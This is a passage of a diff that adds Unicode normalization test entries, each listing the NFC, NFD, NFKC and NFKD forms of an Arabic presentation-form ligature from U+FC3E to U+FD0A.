+{ source: [0xFC3E], NFC: [0xFC3E], NFD: [0xFC3E], NFKC: [0x0643, 0x064A], NFKD: [0x0643, 0x064A] },
+{ source: [0xFC3F], NFC: [0xFC3F], NFD: [0xFC3F], NFKC: [0x0644, 0x062C], NFKD: [0x0644, 0x062C] },
+{ source: [0xFC40], NFC: [0xFC40], NFD: [0xFC40], NFKC: [0x0644, 0x062D], NFKD: [0x0644, 0x062D] },
+{ source: [0xFC41], NFC: [0xFC41], NFD: [0xFC41], NFKC: [0x0644, 0x062E], NFKD: [0x0644, 0x062E] },
+{ source: [0xFC42], NFC: [0xFC42], NFD: [0xFC42], NFKC: [0x0644, 0x0645], NFKD: [0x0644, 0x0645] },
+{ source: [0xFC43], NFC: [0xFC43], NFD: [0xFC43], NFKC: [0x0644, 0x0649], NFKD: [0x0644, 0x0649] },
+{ source: [0xFC44], NFC: [0xFC44], NFD: [0xFC44], NFKC: [0x0644, 0x064A], NFKD: [0x0644, 0x064A] },
+{ source: [0xFC45], NFC: [0xFC45], NFD: [0xFC45], NFKC: [0x0645, 0x062C], NFKD: [0x0645, 0x062C] },
+{ source: [0xFC46], NFC: [0xFC46], NFD: [0xFC46], NFKC: [0x0645, 0x062D], NFKD: [0x0645, 0x062D] },
+{ source: [0xFC47], NFC: [0xFC47], NFD: [0xFC47], NFKC: [0x0645, 0x062E], NFKD: [0x0645, 0x062E] },
+{ source: [0xFC48], NFC: [0xFC48], NFD: [0xFC48], NFKC: [0x0645, 0x0645], NFKD: [0x0645, 0x0645] },
+{ source: [0xFC49], NFC: [0xFC49], NFD: [0xFC49], NFKC: [0x0645, 0x0649], NFKD: [0x0645, 0x0649] },
+{ source: [0xFC4A], NFC: [0xFC4A], NFD: [0xFC4A], NFKC: [0x0645, 0x064A], NFKD: [0x0645, 0x064A] },
+{ source: [0xFC4B], NFC: [0xFC4B], NFD: [0xFC4B], NFKC: [0x0646, 0x062C], NFKD: [0x0646, 0x062C] },
+{ source: [0xFC4C], NFC: [0xFC4C], NFD: [0xFC4C], NFKC: [0x0646, 0x062D], NFKD: [0x0646, 0x062D] },
+{ source: [0xFC4D], NFC: [0xFC4D], NFD: [0xFC4D], NFKC: [0x0646, 0x062E], NFKD: [0x0646, 0x062E] },
+{ source: [0xFC4E], NFC: [0xFC4E], NFD: [0xFC4E], NFKC: [0x0646, 0x0645], NFKD: [0x0646, 0x0645] },
+{ source: [0xFC4F], NFC: [0xFC4F], NFD: [0xFC4F], NFKC: [0x0646, 0x0649], NFKD: [0x0646, 0x0649] },
+{ source: [0xFC50], NFC: [0xFC50], NFD: [0xFC50], NFKC: [0x0646, 0x064A], NFKD: [0x0646, 0x064A] },
+{ source: [0xFC51], NFC: [0xFC51], NFD: [0xFC51], NFKC: [0x0647, 0x062C], NFKD: [0x0647, 0x062C] },
+{ source: [0xFC52], NFC: [0xFC52], NFD: [0xFC52], NFKC: [0x0647, 0x0645], NFKD: [0x0647, 0x0645] },
+{ source: [0xFC53], NFC: [0xFC53], NFD: [0xFC53], NFKC: [0x0647, 0x0649], NFKD: [0x0647, 0x0649] },
+{ source: [0xFC54], NFC: [0xFC54], NFD: [0xFC54], NFKC: [0x0647, 0x064A], NFKD: [0x0647, 0x064A] },
+{ source: [0xFC55], NFC: [0xFC55], NFD: [0xFC55], NFKC: [0x064A, 0x062C], NFKD: [0x064A, 0x062C] },
+{ source: [0xFC56], NFC: [0xFC56], NFD: [0xFC56], NFKC: [0x064A, 0x062D], NFKD: [0x064A, 0x062D] },
+{ source: [0xFC57], NFC: [0xFC57], NFD: [0xFC57], NFKC: [0x064A, 0x062E], NFKD: [0x064A, 0x062E] },
+{ source: [0xFC58], NFC: [0xFC58], NFD: [0xFC58], NFKC: [0x064A, 0x0645], NFKD: [0x064A, 0x0645] },
+{ source: [0xFC59], NFC: [0xFC59], NFD: [0xFC59], NFKC: [0x064A, 0x0649], NFKD: [0x064A, 0x0649] },
+{ source: [0xFC5A], NFC: [0xFC5A], NFD: [0xFC5A], NFKC: [0x064A, 0x064A], NFKD: [0x064A, 0x064A] },
+{ source: [0xFC5B], NFC: [0xFC5B], NFD: [0xFC5B], NFKC: [0x0630, 0x0670], NFKD: [0x0630, 0x0670] },
+{ source: [0xFC5C], NFC: [0xFC5C], NFD: [0xFC5C], NFKC: [0x0631, 0x0670], NFKD: [0x0631, 0x0670] },
+{ source: [0xFC5D], NFC: [0xFC5D], NFD: [0xFC5D], NFKC: [0x0649, 0x0670], NFKD: [0x0649, 0x0670] },
+{ source: [0xFC5E], NFC: [0xFC5E], NFD: [0xFC5E], NFKC: [0x0020, 0x064C, 0x0651], NFKD: [0x0020, 0x064C, 0x0651] },
+{ source: [0xFC5F], NFC: [0xFC5F], NFD: [0xFC5F], NFKC: [0x0020, 0x064D, 0x0651], NFKD: [0x0020, 0x064D, 0x0651] },
+{ source: [0xFC60], NFC: [0xFC60], NFD: [0xFC60], NFKC: [0x0020, 0x064E, 0x0651], NFKD: [0x0020, 0x064E, 0x0651] },
+{ source: [0xFC61], NFC: [0xFC61], NFD: [0xFC61], NFKC: [0x0020, 0x064F, 0x0651], NFKD: [0x0020, 0x064F, 0x0651] },
+{ source: [0xFC62], NFC: [0xFC62], NFD: [0xFC62], NFKC: [0x0020, 0x0650, 0x0651], NFKD: [0x0020, 0x0650, 0x0651] },
+{ source: [0xFC63], NFC: [0xFC63], NFD: [0xFC63], NFKC: [0x0020, 0x0651, 0x0670], NFKD: [0x0020, 0x0651, 0x0670] },
+{ source: [0xFC64], NFC: [0xFC64], NFD: [0xFC64], NFKC: [0x0626, 0x0631], NFKD: [0x064A, 0x0654, 0x0631] },
+{ source: [0xFC65], NFC: [0xFC65], NFD: [0xFC65], NFKC: [0x0626, 0x0632], NFKD: [0x064A, 0x0654, 0x0632] },
+{ source: [0xFC66], NFC: [0xFC66], NFD: [0xFC66], NFKC: [0x0626, 0x0645], NFKD: [0x064A, 0x0654, 0x0645] },
+{ source: [0xFC67], NFC: [0xFC67], NFD: [0xFC67], NFKC: [0x0626, 0x0646], NFKD: [0x064A, 0x0654, 0x0646] },
+{ source: [0xFC68], NFC: [0xFC68], NFD: [0xFC68], NFKC: [0x0626, 0x0649], NFKD: [0x064A, 0x0654, 0x0649] },
+{ source: [0xFC69], NFC: [0xFC69], NFD: [0xFC69], NFKC: [0x0626, 0x064A], NFKD: [0x064A, 0x0654, 0x064A] },
+{ source: [0xFC6A], NFC: [0xFC6A], NFD: [0xFC6A], NFKC: [0x0628, 0x0631], NFKD: [0x0628, 0x0631] },
+{ source: [0xFC6B], NFC: [0xFC6B], NFD: [0xFC6B], NFKC: [0x0628, 0x0632], NFKD: [0x0628, 0x0632] },
+{ source: [0xFC6C], NFC: [0xFC6C], NFD: [0xFC6C], NFKC: [0x0628, 0x0645], NFKD: [0x0628, 0x0645] },
+{ source: [0xFC6D], NFC: [0xFC6D], NFD: [0xFC6D], NFKC: [0x0628, 0x0646], NFKD: [0x0628, 0x0646] },
+{ source: [0xFC6E], NFC: [0xFC6E], NFD: [0xFC6E], NFKC: [0x0628, 0x0649], NFKD: [0x0628, 0x0649] },
+{ source: [0xFC6F], NFC: [0xFC6F], NFD: [0xFC6F], NFKC: [0x0628, 0x064A], NFKD: [0x0628, 0x064A] },
+{ source: [0xFC70], NFC: [0xFC70], NFD: [0xFC70], NFKC: [0x062A, 0x0631], NFKD: [0x062A, 0x0631] },
+{ source: [0xFC71], NFC: [0xFC71], NFD: [0xFC71], NFKC: [0x062A, 0x0632], NFKD: [0x062A, 0x0632] },
+{ source: [0xFC72], NFC: [0xFC72], NFD: [0xFC72], NFKC: [0x062A, 0x0645], NFKD: [0x062A, 0x0645] },
+{ source: [0xFC73], NFC: [0xFC73], NFD: [0xFC73], NFKC: [0x062A, 0x0646], NFKD: [0x062A, 0x0646] },
+{ source: [0xFC74], NFC: [0xFC74], NFD: [0xFC74], NFKC: [0x062A, 0x0649], NFKD: [0x062A, 0x0649] },
+{ source: [0xFC75], NFC: [0xFC75], NFD: [0xFC75], NFKC: [0x062A, 0x064A], NFKD: [0x062A, 0x064A] },
+{ source: [0xFC76], NFC: [0xFC76], NFD: [0xFC76], NFKC: [0x062B, 0x0631], NFKD: [0x062B, 0x0631] },
+{ source: [0xFC77], NFC: [0xFC77], NFD: [0xFC77], NFKC: [0x062B, 0x0632], NFKD: [0x062B, 0x0632] },
+{ source: [0xFC78], NFC: [0xFC78], NFD: [0xFC78], NFKC: [0x062B, 0x0645], NFKD: [0x062B, 0x0645] },
+{ source: [0xFC79], NFC: [0xFC79], NFD: [0xFC79], NFKC: [0x062B, 0x0646], NFKD: [0x062B, 0x0646] },
+{ source: [0xFC7A], NFC: [0xFC7A], NFD: [0xFC7A], NFKC: [0x062B, 0x0649], NFKD: [0x062B, 0x0649] },
+{ source: [0xFC7B], NFC: [0xFC7B], NFD: [0xFC7B], NFKC: [0x062B, 0x064A], NFKD: [0x062B, 0x064A] },
+{ source: [0xFC7C], NFC: [0xFC7C], NFD: [0xFC7C], NFKC: [0x0641, 0x0649], NFKD: [0x0641, 0x0649] },
+{ source: [0xFC7D], NFC: [0xFC7D], NFD: [0xFC7D], NFKC: [0x0641, 0x064A], NFKD: [0x0641, 0x064A] },
+{ source: [0xFC7E], NFC: [0xFC7E], NFD: [0xFC7E], NFKC: [0x0642, 0x0649], NFKD: [0x0642, 0x0649] },
+{ source: [0xFC7F], NFC: [0xFC7F], NFD: [0xFC7F], NFKC: [0x0642, 0x064A], NFKD: [0x0642, 0x064A] },
+{ source: [0xFC80], NFC: [0xFC80], NFD: [0xFC80], NFKC: [0x0643, 0x0627], NFKD: [0x0643, 0x0627] },
+{ source: [0xFC81], NFC: [0xFC81], NFD: [0xFC81], NFKC: [0x0643, 0x0644], NFKD: [0x0643, 0x0644] },
+{ source: [0xFC82], NFC: [0xFC82], NFD: [0xFC82], NFKC: [0x0643, 0x0645], NFKD: [0x0643, 0x0645] },
+{ source: [0xFC83], NFC: [0xFC83], NFD: [0xFC83], NFKC: [0x0643, 0x0649], NFKD: [0x0643, 0x0649] },
+{ source: [0xFC84], NFC: [0xFC84], NFD: [0xFC84], NFKC: [0x0643, 0x064A], NFKD: [0x0643, 0x064A] },
+{ source: [0xFC85], NFC: [0xFC85], NFD: [0xFC85], NFKC: [0x0644, 0x0645], NFKD: [0x0644, 0x0645] },
+{ source: [0xFC86], NFC: [0xFC86], NFD: [0xFC86], NFKC: [0x0644, 0x0649], NFKD: [0x0644, 0x0649] },
+{ source: [0xFC87], NFC: [0xFC87], NFD: [0xFC87], NFKC: [0x0644, 0x064A], NFKD: [0x0644, 0x064A] },
+{ source: [0xFC88], NFC: [0xFC88], NFD: [0xFC88], NFKC: [0x0645, 0x0627], NFKD: [0x0645, 0x0627] },
+{ source: [0xFC89], NFC: [0xFC89], NFD: [0xFC89], NFKC: [0x0645, 0x0645], NFKD: [0x0645, 0x0645] },
+{ source: [0xFC8A], NFC: [0xFC8A], NFD: [0xFC8A], NFKC: [0x0646, 0x0631], NFKD: [0x0646, 0x0631] },
+{ source: [0xFC8B], NFC: [0xFC8B], NFD: [0xFC8B], NFKC: [0x0646, 0x0632], NFKD: [0x0646, 0x0632] },
+{ source: [0xFC8C], NFC: [0xFC8C], NFD: [0xFC8C], NFKC: [0x0646, 0x0645], NFKD: [0x0646, 0x0645] },
+{ source: [0xFC8D], NFC: [0xFC8D], NFD: [0xFC8D], NFKC: [0x0646, 0x0646], NFKD: [0x0646, 0x0646] },
+{ source: [0xFC8E], NFC: [0xFC8E], NFD: [0xFC8E], NFKC: [0x0646, 0x0649], NFKD: [0x0646, 0x0649] },
+{ source: [0xFC8F], NFC: [0xFC8F], NFD: [0xFC8F], NFKC: [0x0646, 0x064A], NFKD: [0x0646, 0x064A] },
+{ source: [0xFC90], NFC: [0xFC90], NFD: [0xFC90], NFKC: [0x0649, 0x0670], NFKD: [0x0649, 0x0670] },
+{ source: [0xFC91], NFC: [0xFC91], NFD: [0xFC91], NFKC: [0x064A, 0x0631], NFKD: [0x064A, 0x0631] },
+{ source: [0xFC92], NFC: [0xFC92], NFD: [0xFC92], NFKC: [0x064A, 0x0632], NFKD: [0x064A, 0x0632] },
+{ source: [0xFC93], NFC: [0xFC93], NFD: [0xFC93], NFKC: [0x064A, 0x0645], NFKD: [0x064A, 0x0645] },
+{ source: [0xFC94], NFC: [0xFC94], NFD: [0xFC94], NFKC: [0x064A, 0x0646], NFKD: [0x064A, 0x0646] },
+{ source: [0xFC95], NFC: [0xFC95], NFD: [0xFC95], NFKC: [0x064A, 0x0649], NFKD: [0x064A, 0x0649] },
+{ source: [0xFC96], NFC: [0xFC96], NFD: [0xFC96], NFKC: [0x064A, 0x064A], NFKD: [0x064A, 0x064A] },
+{ source: [0xFC97], NFC: [0xFC97], NFD: [0xFC97], NFKC: [0x0626, 0x062C], NFKD: [0x064A, 0x0654, 0x062C] },
+{ source: [0xFC98], NFC: [0xFC98], NFD: [0xFC98], NFKC: [0x0626, 0x062D], NFKD: [0x064A, 0x0654, 0x062D] },
+{ source: [0xFC99], NFC: [0xFC99], NFD: [0xFC99], NFKC: [0x0626, 0x062E], NFKD: [0x064A, 0x0654, 0x062E] },
+{ source: [0xFC9A], NFC: [0xFC9A], NFD: [0xFC9A], NFKC: [0x0626, 0x0645], NFKD: [0x064A, 0x0654, 0x0645] },
+{ source: [0xFC9B], NFC: [0xFC9B], NFD: [0xFC9B], NFKC: [0x0626, 0x0647], NFKD: [0x064A, 0x0654, 0x0647] },
+{ source: [0xFC9C], NFC: [0xFC9C], NFD: [0xFC9C], NFKC: [0x0628, 0x062C], NFKD: [0x0628, 0x062C] },
+{ source: [0xFC9D], NFC: [0xFC9D], NFD: [0xFC9D], NFKC: [0x0628, 0x062D], NFKD: [0x0628, 0x062D] },
+{ source: [0xFC9E], NFC: [0xFC9E], NFD: [0xFC9E], NFKC: [0x0628, 0x062E], NFKD: [0x0628, 0x062E] },
+{ source: [0xFC9F], NFC: [0xFC9F], NFD: [0xFC9F], NFKC: [0x0628, 0x0645], NFKD: [0x0628, 0x0645] },
+{ source: [0xFCA0], NFC: [0xFCA0], NFD: [0xFCA0], NFKC: [0x0628, 0x0647], NFKD: [0x0628, 0x0647] },
+{ source: [0xFCA1], NFC: [0xFCA1], NFD: [0xFCA1], NFKC: [0x062A, 0x062C], NFKD: [0x062A, 0x062C] },
+{ source: [0xFCA2], NFC: [0xFCA2], NFD: [0xFCA2], NFKC: [0x062A, 0x062D], NFKD: [0x062A, 0x062D] },
+{ source: [0xFCA3], NFC: [0xFCA3], NFD: [0xFCA3], NFKC: [0x062A, 0x062E], NFKD: [0x062A, 0x062E] },
+{ source: [0xFCA4], NFC: [0xFCA4], NFD: [0xFCA4], NFKC: [0x062A, 0x0645], NFKD: [0x062A, 0x0645] },
+{ source: [0xFCA5], NFC: [0xFCA5], NFD: [0xFCA5], NFKC: [0x062A, 0x0647], NFKD: [0x062A, 0x0647] },
+{ source: [0xFCA6], NFC: [0xFCA6], NFD: [0xFCA6], NFKC: [0x062B, 0x0645], NFKD: [0x062B, 0x0645] },
+{ source: [0xFCA7], NFC: [0xFCA7], NFD: [0xFCA7], NFKC: [0x062C, 0x062D], NFKD: [0x062C, 0x062D] },
+{ source: [0xFCA8], NFC: [0xFCA8], NFD: [0xFCA8], NFKC: [0x062C, 0x0645], NFKD: [0x062C, 0x0645] },
+{ source: [0xFCA9], NFC: [0xFCA9], NFD: [0xFCA9], NFKC: [0x062D, 0x062C], NFKD: [0x062D, 0x062C] },
+{ source: [0xFCAA], NFC: [0xFCAA], NFD: [0xFCAA], NFKC: [0x062D, 0x0645], NFKD: [0x062D, 0x0645] },
+{ source: [0xFCAB], NFC: [0xFCAB], NFD: [0xFCAB], NFKC: [0x062E, 0x062C], NFKD: [0x062E, 0x062C] },
+{ source: [0xFCAC], NFC: [0xFCAC], NFD: [0xFCAC], NFKC: [0x062E, 0x0645], NFKD: [0x062E, 0x0645] },
+{ source: [0xFCAD], NFC: [0xFCAD], NFD: [0xFCAD], NFKC: [0x0633, 0x062C], NFKD: [0x0633, 0x062C] },
+{ source: [0xFCAE], NFC: [0xFCAE], NFD: [0xFCAE], NFKC: [0x0633, 0x062D], NFKD: [0x0633, 0x062D] },
+{ source: [0xFCAF], NFC: [0xFCAF], NFD: [0xFCAF], NFKC: [0x0633, 0x062E], NFKD: [0x0633, 0x062E] },
+{ source: [0xFCB0], NFC: [0xFCB0], NFD: [0xFCB0], NFKC: [0x0633, 0x0645], NFKD: [0x0633, 0x0645] },
+{ source: [0xFCB1], NFC: [0xFCB1], NFD: [0xFCB1], NFKC: [0x0635, 0x062D], NFKD: [0x0635, 0x062D] },
+{ source: [0xFCB2], NFC: [0xFCB2], NFD: [0xFCB2], NFKC: [0x0635, 0x062E], NFKD: [0x0635, 0x062E] },
+{ source: [0xFCB3], NFC: [0xFCB3], NFD: [0xFCB3], NFKC: [0x0635, 0x0645], NFKD: [0x0635, 0x0645] },
+{ source: [0xFCB4], NFC: [0xFCB4], NFD: [0xFCB4], NFKC: [0x0636, 0x062C], NFKD: [0x0636, 0x062C] },
+{ source: [0xFCB5], NFC: [0xFCB5], NFD: [0xFCB5], NFKC: [0x0636, 0x062D], NFKD: [0x0636, 0x062D] },
+{ source: [0xFCB6], NFC: [0xFCB6], NFD: [0xFCB6], NFKC: [0x0636, 0x062E], NFKD: [0x0636, 0x062E] },
+{ source: [0xFCB7], NFC: [0xFCB7], NFD: [0xFCB7], NFKC: [0x0636, 0x0645], NFKD: [0x0636, 0x0645] },
+{ source: [0xFCB8], NFC: [0xFCB8], NFD: [0xFCB8], NFKC: [0x0637, 0x062D], NFKD: [0x0637, 0x062D] },
+{ source: [0xFCB9], NFC: [0xFCB9], NFD: [0xFCB9], NFKC: [0x0638, 0x0645], NFKD: [0x0638, 0x0645] },
+{ source: [0xFCBA], NFC: [0xFCBA], NFD: [0xFCBA], NFKC: [0x0639, 0x062C], NFKD: [0x0639, 0x062C] },
+{ source: [0xFCBB], NFC: [0xFCBB], NFD: [0xFCBB], NFKC: [0x0639, 0x0645], NFKD: [0x0639, 0x0645] },
+{ source: [0xFCBC], NFC: [0xFCBC], NFD: [0xFCBC], NFKC: [0x063A, 0x062C], NFKD: [0x063A, 0x062C] },
+{ source: [0xFCBD], NFC: [0xFCBD], NFD: [0xFCBD], NFKC: [0x063A, 0x0645], NFKD: [0x063A, 0x0645] },
+{ source: [0xFCBE], NFC: [0xFCBE], NFD: [0xFCBE], NFKC: [0x0641, 0x062C], NFKD: [0x0641, 0x062C] },
+{ source: [0xFCBF], NFC: [0xFCBF], NFD: [0xFCBF], NFKC: [0x0641, 0x062D], NFKD: [0x0641, 0x062D] },
+{ source: [0xFCC0], NFC: [0xFCC0], NFD: [0xFCC0], NFKC: [0x0641, 0x062E], NFKD: [0x0641, 0x062E] },
+{ source: [0xFCC1], NFC: [0xFCC1], NFD: [0xFCC1], NFKC: [0x0641, 0x0645], NFKD: [0x0641, 0x0645] },
+{ source: [0xFCC2], NFC: [0xFCC2], NFD: [0xFCC2], NFKC: [0x0642, 0x062D], NFKD: [0x0642, 0x062D] },
+{ source: [0xFCC3], NFC: [0xFCC3], NFD: [0xFCC3], NFKC: [0x0642, 0x0645], NFKD: [0x0642, 0x0645] },
+{ source: [0xFCC4], NFC: [0xFCC4], NFD: [0xFCC4], NFKC: [0x0643, 0x062C], NFKD: [0x0643, 0x062C] },
+{ source: [0xFCC5], NFC: [0xFCC5], NFD: [0xFCC5], NFKC: [0x0643, 0x062D], NFKD: [0x0643, 0x062D] },
+{ source: [0xFCC6], NFC: [0xFCC6], NFD: [0xFCC6], NFKC: [0x0643, 0x062E], NFKD: [0x0643, 0x062E] },
+{ source: [0xFCC7], NFC: [0xFCC7], NFD: [0xFCC7], NFKC: [0x0643, 0x0644], NFKD: [0x0643, 0x0644] },
+{ source: [0xFCC8], NFC: [0xFCC8], NFD: [0xFCC8], NFKC: [0x0643, 0x0645], NFKD: [0x0643, 0x0645] },
+{ source: [0xFCC9], NFC: [0xFCC9], NFD: [0xFCC9], NFKC: [0x0644, 0x062C], NFKD: [0x0644, 0x062C] },
+{ source: [0xFCCA], NFC: [0xFCCA], NFD: [0xFCCA], NFKC: [0x0644, 0x062D], NFKD: [0x0644, 0x062D] },
+{ source: [0xFCCB], NFC: [0xFCCB], NFD: [0xFCCB], NFKC: [0x0644, 0x062E], NFKD: [0x0644, 0x062E] },
+{ source: [0xFCCC], NFC: [0xFCCC], NFD: [0xFCCC], NFKC: [0x0644, 0x0645], NFKD: [0x0644, 0x0645] },
+{ source: [0xFCCD], NFC: [0xFCCD], NFD: [0xFCCD], NFKC: [0x0644, 0x0647], NFKD: [0x0644, 0x0647] },
+{ source: [0xFCCE], NFC: [0xFCCE], NFD: [0xFCCE], NFKC: [0x0645, 0x062C], NFKD: [0x0645, 0x062C] },
+{ source: [0xFCCF], NFC: [0xFCCF], NFD: [0xFCCF], NFKC: [0x0645, 0x062D], NFKD: [0x0645, 0x062D] },
+{ source: [0xFCD0], NFC: [0xFCD0], NFD: [0xFCD0], NFKC: [0x0645, 0x062E], NFKD: [0x0645, 0x062E] },
+{ source: [0xFCD1], NFC: [0xFCD1], NFD: [0xFCD1], NFKC: [0x0645, 0x0645], NFKD: [0x0645, 0x0645] },
+{ source: [0xFCD2], NFC: [0xFCD2], NFD: [0xFCD2], NFKC: [0x0646, 0x062C], NFKD: [0x0646, 0x062C] },
+{ source: [0xFCD3], NFC: [0xFCD3], NFD: [0xFCD3], NFKC: [0x0646, 0x062D], NFKD: [0x0646, 0x062D] },
+{ source: [0xFCD4], NFC: [0xFCD4], NFD: [0xFCD4], NFKC: [0x0646, 0x062E], NFKD: [0x0646, 0x062E] },
+{ source: [0xFCD5], NFC: [0xFCD5], NFD: [0xFCD5], NFKC: [0x0646, 0x0645], NFKD: [0x0646, 0x0645] },
+{ source: [0xFCD6], NFC: [0xFCD6], NFD: [0xFCD6], NFKC: [0x0646, 0x0647], NFKD: [0x0646, 0x0647] },
+{ source: [0xFCD7], NFC: [0xFCD7], NFD: [0xFCD7], NFKC: [0x0647, 0x062C], NFKD: [0x0647, 0x062C] },
+{ source: [0xFCD8], NFC: [0xFCD8], NFD: [0xFCD8], NFKC: [0x0647, 0x0645], NFKD: [0x0647, 0x0645] },
+{ source: [0xFCD9], NFC: [0xFCD9], NFD: [0xFCD9], NFKC: [0x0647, 0x0670], NFKD: [0x0647, 0x0670] },
+{ source: [0xFCDA], NFC: [0xFCDA], NFD: [0xFCDA], NFKC: [0x064A, 0x062C], NFKD: [0x064A, 0x062C] },
+{ source: [0xFCDB], NFC: [0xFCDB], NFD: [0xFCDB], NFKC: [0x064A, 0x062D], NFKD: [0x064A, 0x062D] },
+{ source: [0xFCDC], NFC: [0xFCDC], NFD: [0xFCDC], NFKC: [0x064A, 0x062E], NFKD: [0x064A, 0x062E] },
+{ source: [0xFCDD], NFC: [0xFCDD], NFD: [0xFCDD], NFKC: [0x064A, 0x0645], NFKD: [0x064A, 0x0645] },
+{ source: [0xFCDE], NFC: [0xFCDE], NFD: [0xFCDE], NFKC: [0x064A, 0x0647], NFKD: [0x064A, 0x0647] },
+{ source: [0xFCDF], NFC: [0xFCDF], NFD: [0xFCDF], NFKC: [0x0626, 0x0645], NFKD: [0x064A, 0x0654, 0x0645] },
+{ source: [0xFCE0], NFC: [0xFCE0], NFD: [0xFCE0], NFKC: [0x0626, 0x0647], NFKD: [0x064A, 0x0654, 0x0647] },
+{ source: [0xFCE1], NFC: [0xFCE1], NFD: [0xFCE1], NFKC: [0x0628, 0x0645], NFKD: [0x0628, 0x0645] },
+{ source: [0xFCE2], NFC: [0xFCE2], NFD: [0xFCE2], NFKC: [0x0628, 0x0647], NFKD: [0x0628, 0x0647] },
+{ source: [0xFCE3], NFC: [0xFCE3], NFD: [0xFCE3], NFKC: [0x062A, 0x0645], NFKD: [0x062A, 0x0645] },
+{ source: [0xFCE4], NFC: [0xFCE4], NFD: [0xFCE4], NFKC: [0x062A, 0x0647], NFKD: [0x062A, 0x0647] },
+{ source: [0xFCE5], NFC: [0xFCE5], NFD: [0xFCE5], NFKC: [0x062B, 0x0645], NFKD: [0x062B, 0x0645] },
+{ source: [0xFCE6], NFC: [0xFCE6], NFD: [0xFCE6], NFKC: [0x062B, 0x0647], NFKD: [0x062B, 0x0647] },
+{ source: [0xFCE7], NFC: [0xFCE7], NFD: [0xFCE7], NFKC: [0x0633, 0x0645], NFKD: [0x0633, 0x0645] },
+{ source: [0xFCE8], NFC: [0xFCE8], NFD: [0xFCE8], NFKC: [0x0633, 0x0647], NFKD: [0x0633, 0x0647] },
+{ source: [0xFCE9], NFC: [0xFCE9], NFD: [0xFCE9], NFKC: [0x0634, 0x0645], NFKD: [0x0634, 0x0645] },
+{ source: [0xFCEA], NFC: [0xFCEA], NFD: [0xFCEA], NFKC: [0x0634, 0x0647], NFKD: [0x0634, 0x0647] },
+{ source: [0xFCEB], NFC: [0xFCEB], NFD: [0xFCEB], NFKC: [0x0643, 0x0644], NFKD: [0x0643, 0x0644] },
+{ source: [0xFCEC], NFC: [0xFCEC], NFD: [0xFCEC], NFKC: [0x0643, 0x0645], NFKD: [0x0643, 0x0645] },
+{ source: [0xFCED], NFC: [0xFCED], NFD: [0xFCED], NFKC: [0x0644, 0x0645], NFKD: [0x0644, 0x0645] },
+{ source: [0xFCEE], NFC: [0xFCEE], NFD: [0xFCEE], NFKC: [0x0646, 0x0645], NFKD: [0x0646, 0x0645] },
+{ source: [0xFCEF], NFC: [0xFCEF], NFD: [0xFCEF], NFKC: [0x0646, 0x0647], NFKD: [0x0646, 0x0647] },
+{ source: [0xFCF0], NFC: [0xFCF0], NFD: [0xFCF0], NFKC: [0x064A, 0x0645], NFKD: [0x064A, 0x0645] },
+{ source: [0xFCF1], NFC: [0xFCF1], NFD: [0xFCF1], NFKC: [0x064A, 0x0647], NFKD: [0x064A, 0x0647] },
+{ source: [0xFCF2], NFC: [0xFCF2], NFD: [0xFCF2], NFKC: [0x0640, 0x064E, 0x0651], NFKD: [0x0640, 0x064E, 0x0651] },
+{ source: [0xFCF3], NFC: [0xFCF3], NFD: [0xFCF3], NFKC: [0x0640, 0x064F, 0x0651], NFKD: [0x0640, 0x064F, 0x0651] },
+{ source: [0xFCF4], NFC: [0xFCF4], NFD: [0xFCF4], NFKC: [0x0640, 0x0650, 0x0651], NFKD: [0x0640, 0x0650, 0x0651] },
+{ source: [0xFCF5], NFC: [0xFCF5], NFD: [0xFCF5], NFKC: [0x0637, 0x0649], NFKD: [0x0637, 0x0649] },
+{ source: [0xFCF6], NFC: [0xFCF6], NFD: [0xFCF6], NFKC: [0x0637, 0x064A], NFKD: [0x0637, 0x064A] },
+{ source: [0xFCF7], NFC: [0xFCF7], NFD: [0xFCF7], NFKC: [0x0639, 0x0649], NFKD: [0x0639, 0x0649] },
+{ source: [0xFCF8], NFC: [0xFCF8], NFD: [0xFCF8], NFKC: [0x0639, 0x064A], NFKD: [0x0639, 0x064A] },
+{ source: [0xFCF9], NFC: [0xFCF9], NFD: [0xFCF9], NFKC: [0x063A, 0x0649], NFKD: [0x063A, 0x0649] },
+{ source: [0xFCFA], NFC: [0xFCFA], NFD: [0xFCFA], NFKC: [0x063A, 0x064A], NFKD: [0x063A, 0x064A] },
+{ source: [0xFCFB], NFC: [0xFCFB], NFD: [0xFCFB], NFKC: [0x0633, 0x0649], NFKD: [0x0633, 0x0649] },
+{ source: [0xFCFC], NFC: [0xFCFC], NFD: [0xFCFC], NFKC: [0x0633, 0x064A], NFKD: [0x0633, 0x064A] },
+{ source: [0xFCFD], NFC: [0xFCFD], NFD: [0xFCFD], NFKC: [0x0634, 0x0649], NFKD: [0x0634, 0x0649] },
+{ source: [0xFCFE], NFC: [0xFCFE], NFD: [0xFCFE], NFKC: [0x0634, 0x064A], NFKD: [0x0634, 0x064A] },
+{ source: [0xFCFF], NFC: [0xFCFF], NFD: [0xFCFF], NFKC: [0x062D, 0x0649], NFKD: [0x062D, 0x0649] },
+{ source: [0xFD00], NFC: [0xFD00], NFD: [0xFD00], NFKC: [0x062D, 0x064A], NFKD: [0x062D, 0x064A] },
+{ source: [0xFD01], NFC: [0xFD01], NFD: [0xFD01], NFKC: [0x062C, 0x0649], NFKD: [0x062C, 0x0649] },
+{ source: [0xFD02], NFC: [0xFD02], NFD: [0xFD02], NFKC: [0x062C, 0x064A], NFKD: [0x062C, 0x064A] },
+{ source: [0xFD03], NFC: [0xFD03], NFD: [0xFD03], NFKC: [0x062E, 0x0649], NFKD: [0x062E, 0x0649] },
+{ source: [0xFD04], NFC: [0xFD04], NFD: [0xFD04], NFKC: [0x062E, 0x064A], NFKD: [0x062E, 0x064A] },
+{ source: [0xFD05], NFC: [0xFD05], NFD: [0xFD05], NFKC: [0x0635, 0x0649], NFKD: [0x0635, 0x0649] },
+{ source: [0xFD06], NFC: [0xFD06], NFD: [0xFD06], NFKC: [0x0635, 0x064A], NFKD: [0x0635, 0x064A] },
+{ source: [0xFD07], NFC: [0xFD07], NFD: [0xFD07], NFKC: [0x0636, 0x0649], NFKD: [0x0636, 0x0649] },
+{ source: [0xFD08], NFC: [0xFD08], NFD: [0xFD08], NFKC: [0x0636, 0x064A], NFKD: [0x0636, 0x064A] },
+{ source: [0xFD09], NFC: [0xFD09], NFD: [0xFD09], NFKC: [0x0634, 0x062C], NFKD: [0x0634, 0x062C] },
+{ source: [0xFD0A], NFC: [0xFD0A], NFD: [0xFD0A], NFKC: [0x0634, 0x062D], NFKD: [0x0634, 0x062D] },
